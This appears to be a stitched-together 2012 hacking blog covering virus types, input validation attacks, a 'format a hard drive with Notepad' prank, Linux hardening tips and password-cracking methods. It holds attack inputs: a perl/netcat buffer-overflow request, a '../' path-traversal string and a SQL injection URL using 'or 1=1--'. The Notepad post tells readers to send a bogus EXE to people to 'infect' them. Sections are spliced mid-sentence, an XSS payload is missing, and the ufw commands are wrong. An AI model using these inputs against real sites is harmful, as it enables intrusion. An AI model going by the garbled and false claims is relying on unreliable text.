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Wednesday, January 11, 2012

1) Boot Sector Virus :- Boot sector viruses infect either the master boot record of the hard disk or the floppy drive. The boot record program responsible for the booting of operating system is replaced by the virus. The virus either copies the master boot program to another part of the hard disk or overwrites it. They infect a computer when it boots up or when it accesses the infected floppy disk in the floppy drive. i.e. Once a system is infected with a boot-sector virus, any non-write-protected disk accessed by this system will become infected.

Examples of boot- sector viruses are Michelangelo and Stoned.

2) File or Program Viruses :- Some files/programs, when executed, load the virus in the memory and perform predefined functions to infect the system. They infect program files with extensions like .EXE, .COM, .BIN, .DRV and .SYS .

Some common file viruses are Sunday, Cascade.

3) Multipartite Viruses :- A multipartite virus is a computer virus that infects multiple different target platforms, and remains recursively infective in each target. It attempts to attack both the boot sector and the executable, or programs, files at the same time. When the virus attaches to the boot sector, it will in turn affect the system’s files, and when the virus attaches to the files, it will in turn infect the boot sector.

This type of virus can re-infect a system over and over again if all parts of the virus are not eradicated.
Ghostball was the first multipartite virus, discovered by Fridrik Skulason in October 1989.
Other examples are Invader, Flip, etc.

4) Stealth Viruses :- These viruses are stealthy in nature means it uses various methods for hiding themselves to avoid detection. They sometimes remove themselves from the memory temporarily to avoid detection by antivirus. They are somewhat difficult to detect. When an antivirus program tries to detect the virus, the stealth virus feeds the antivirus program a clean image of the file or boot sector.

5) Polymorphic Viruses :- Polymorphic viruses have the ability to mutate implying that they change the viral code known as the signature each time they spread or infect. Thus an antivirus program which is scanning for specific virus codes unable to detect it's presense.

6) Macro Viruses :- A macro virus is a computer virus that "infects" a Microsoft Word or similar application and causes a sequence of actions to be performed automatically when the application is started or something else triggers it. Macro viruses tend to be surprising but relatively harmless.A macro virus is often spread as an e-mail virus. Well-known examples are Concept Virus and Melissa Worm.

Input Validation Attacks are where an attacker intentionally sends unusual input in the hopes of confusing the application.

The most common input validation attacks are as follows-

1) Buffer Overflow :- Buffer overflow attacks are enabled due to sloppy programming or mismanagement of memory by the application developers. Buffer overflow may be classified into stack overflows, format string overflows, heap overflows and integer overflows. It may possible that an overflow may exist in language’s (php, java, etc.) built-in functions.

To execute a buffer overflow attack, you merely dump as much data as possible into an input field. The attack is said to be successful when it returns an application error. Perl is well suited for conducting this type of attack.

Here’s the buffer test, calling on Perl from the command line:

$ echo –e “GET /login.php?user=\

> `perl –e ‘print “a” x 500’`\nHTTP/1.0\n\n” | \

nc –vv website 80

This sends a string of 500 “a” characters for the user value to the login.php file.

Buffer overflow can be tested by sending repeated requests to the application and recording the server's response.

2) Canonicalization :- These attacks target pages that use template files or otherwise reference alternate files on the web server. The basic form of this attack is to move outside of the web document root in order to access system files, i.e., “../../../../../../../../../boot.ini”. This type of functionality is evident from the URL and is not limited to any one programming language or web server. If the application does not limit the types of files that it is supposed to view, then files outside of the web document root are targeted, something like following-

on the URL reflected in the page contents is a great indicator of an XSS vulnerability. The attack would be created as:

http://website/inc/errors.asp?Error=
That is, place the script tags on the URL.

4) SQL Injection :- This kind of attack occurs when an attacker uses specially crafted SQL queries as an input, which can open up a database. Online forms such as login prompts, search enquiries, guest books, feedback forms, etc. are specially targeted.
The easiest test for the presence of a SQL injection attack is to append “or+1=1” to the URL and inspect the data returned by the server.
example:- http://www.domain.com/index.asp?querystring=sports' or 1=1--

Sunday, January 8, 2012

If you think that Notepad is useless then you are wrong because you can now do a lot of things with the Notepad which you could have never imagined. In this hack I will show you how to format a HDD using Notepad. This is really cool.

Step 1 :-
Copy The Following In Notepad Exactly as it is.

says01001011000111110010010101010101010000011111100000

Step 2 :- Save As An EXE Any Name Will Do

Step 3 :- Send the EXE to People And Infect

OR

IF you think cannot format C Drive when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code

First of all, keep a software firewall active on your system, and restrict access to ports that allow remote access into your system, a good idea is to allow only a few select hosts access to ports used by services such as ssh (port 22) or telnet (port 23). Keeping a firewall in place ensures that you alone dictate who gets to access remote services on your computer and who doesn’t. To set up a firewall in linux, you can use the iptables program which comes standard with most linux distributions. However, iptables is quite difficult and complicated to set up correctly, and you will need to spend some time fiddling with the command line, but it is very flexible and powerful once configured correctly.

If messing about with iptables dosen’t appeal to you, there are frontends to iptables that you can use to set up effective firewalls. One such frontend is ufw (uncomplicated firewall) this program comes standard on ubuntu and is quite simple to set up, to use it you first have to enable it by typing in ’sudo enable ufw’ in the terminal, once the ufw service is active, adding rules is as simple as ’sudo allow 22/tcp’ > this statement allows all tcp traffic on port 22, swap allow for deny and you have the ssh service blocked, Its that simple, much easier than mucking about with iptables.

Of course, there are many people who do not like the idea of using command-line programs and like all their apps to be graphical. If you prefer a GUI configured firewall, then firestarter is the choice for you. Firestarter is a breeze to use, and has good documentation available on the firestarter website.

2) Passwords are for your protection, choose them well

Choose good user passwords, especially for root. One way to choose a secure password is to take a sentence, reduce it to an acronym and then replace some letters of the acronym with symbols and add some numbers to it. this mixing of alphabets, numbers and symbols, along with its long length will be a strong password.

Never use actual words that have meaning as passwords. These types of passwords are weak and can be cracked using dictionary attacks. Also along those lines: Never use words that hold personal significance with you.. i.e don’t use passwords that people who know you will be inclined to think that you would use, like a favorite pet’s name.. etc.

And for god’s sake, don’t use the word ‘password’ as a password…. ( don’t laugh… thats one of the most common passwords .. )

3) Use antivirus

Yeaps you read right.. antivirus. Antivirus on linux you say? Yes, linux has antivirus suites as well , but this is more for cleaning off your thumbdrives that you may have used in an infected windows machine than for killing linux viruses, as the system of user permissions for executing files makes linux a very inhospitable place for computer viruses to live. clamAV is a good antivirus choice, with a GUI version available for most major distros.

4) Be careful what scripts you get off the net
Getting bash scripts off the net is convenient, but be careful what scripts you run on your system, and make sure you check them out first. If you suspect that a script you got has some nasty intentions behind it, but you do not have the expertise in bash scripting to be sure, post the script in text form on linux support forums and the community will help you out. Unfortunatly, there are idiots out there who write destructive shell scripts and release them into the wilds of the internet, in this case intuition is your best defence.

5) Encrypt sensitive data that you may have.
The concept behind encryption is relatively simple, make the data to be encrypted unreadable to anybody besides authorised users.

My favourite program for encrypting data on linux AND windows would have to be truecrypt. Truecrypt works by creating a virtual volume which you can then set a passphrase or security key to. When you mount the virtual volume, you can then add files to it, which will be totally encrypted and unviewable once unmounted. The only way to mount the drive is to supply the passphrase or key.

6)Keep your BIOS set to boot from your harddrive and then add a password to your bios.

This is to keep people from booting off from live CDs and cracking your password from them. Although it is relatively easy to reset the BIOS password, this should be at least a minor detterance to those who may try this cracking method.

Well, there you go.. hopefully you wil use these tips and make your system a safer box to work on.

Password cracking is the process of recovering secret passwords from data that has been stored in or transmitted by a computer system. A common approach is to repeatedly try guesses for the password.

Most passwords can be cracked by using following techniques :

1) Hashing :- Here we will refer to the one way function (which may be either an encryption function or cryptographic hash) employed as a hash and its output as a hashed password.

If a system uses a reversible function to obscure stored passwords, exploiting that weakness can recover even 'well-chosen' passwords.

One example is the LM hash that Microsoft Windows uses by default to store user passwords that are less than 15 characters in length.

LM hash breaks the password into two 7-character fields which are then hashed separately, allowing each half to be attacked separately.

Hash functions like SHA-512, SHA-1, and MD5 are considered impossible to invert when used correctly.

2) Guessing :- Many passwords can be guessed either by humans or by sophisticated cracking programs armed with dictionaries (dictionary based) and the user's personal information.

Not surprisingly, many users choose weak passwords, usually one related to themselves in some way. Repeated research over some 40 years has demonstrated that around 40% of user-chosen passwords are readily guessable by programs. Examples of insecure choices include:

* blank (none)* the word "password", "passcode", "admin" and their derivatives* the user's name or login name* the name of their significant other or another person (loved one)* their birthplace or date of birth* a pet's name* a dictionary word in any language* automobile licence plate number* a row of letters from a standard keyboard layout (eg, the qwerty keyboard -- qwerty itself, asdf, or qwertyuiop)* a simple modification of one of the preceding, such as suffixing a digit or reversing the order of the letters.and so on....

In one survery of Facebook and MySpace passwords which had been phished, 3.8 percent of passwords were a single word found in a dictionary, and another 12 percent were a word plus a final digit; two-thirds of the time that digit was.

A password containing both uppercase & lowercase characters, numbers and special characters too; is a strong password and can never be guessed.

Check Your Password Strength

3) Default Passwords :- A moderately high number of local and online applications have inbuilt default passwords that have been configured by programmers during development stages of software. There are lots of applications running on the internet on which default passwords are enabled. So, it is quite easy for an attacker to enter default password and gain access to sensitive information. A list containing default passwords of some of the most popular applications is available on the internet.

4) Brute Force :- If all other techniques failed, then attackers uses brute force password cracking technique. Here an automatic tool is used which tries all possible combinations of available keys on the keyboard. As soon as correct password is reached it displays on the screen.This techniques takes extremely long time to complete, but password will surely cracked.

Long is the password, large is the time taken to brute force it.

5) Phishing :- This is the most effective and easily executable password cracking technique which is generally used to crack the passwords of e-mail accounts, and all those accounts where secret information or sensitive personal information is stored by user such as social networking websites, matrimonial websites, etc.

Phishing is a technique in which the attacker creates the fake login screen and send it to the victim, hoping that the victim gets fooled into entering the account username and password. As soon as victim click on "enter" or "login" login button this information reaches to the attacker using scripts or online form processors while the user(victim) is redirected to home page of e-mail service provider.

Never give reply to the messages which are demanding for your username-password, urging to be e-mail service provider.

It is possible to try to obtain the passwords through other different methods, such as social engineering, wiretapping, keystroke logging, login spoofing, dumpster diving, phishing, shoulder surfing, timing attack, acoustic cryptanalysis, using a Trojan Horse or virus, identity management system attacks (such as abuse of Self-service password reset) and compromising host security.

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Faysal Hasan is a IT System Engineer has with a passion for security. He worked in information technology service delivery for more than 10 years. He received his Bachelor in IT from Southern Cross University, Australia and has earned numerous technical certifications throughout his career including Microsoft Certified Solutions Expert (MCSE), CCNA Cyber Security and ITIL etc.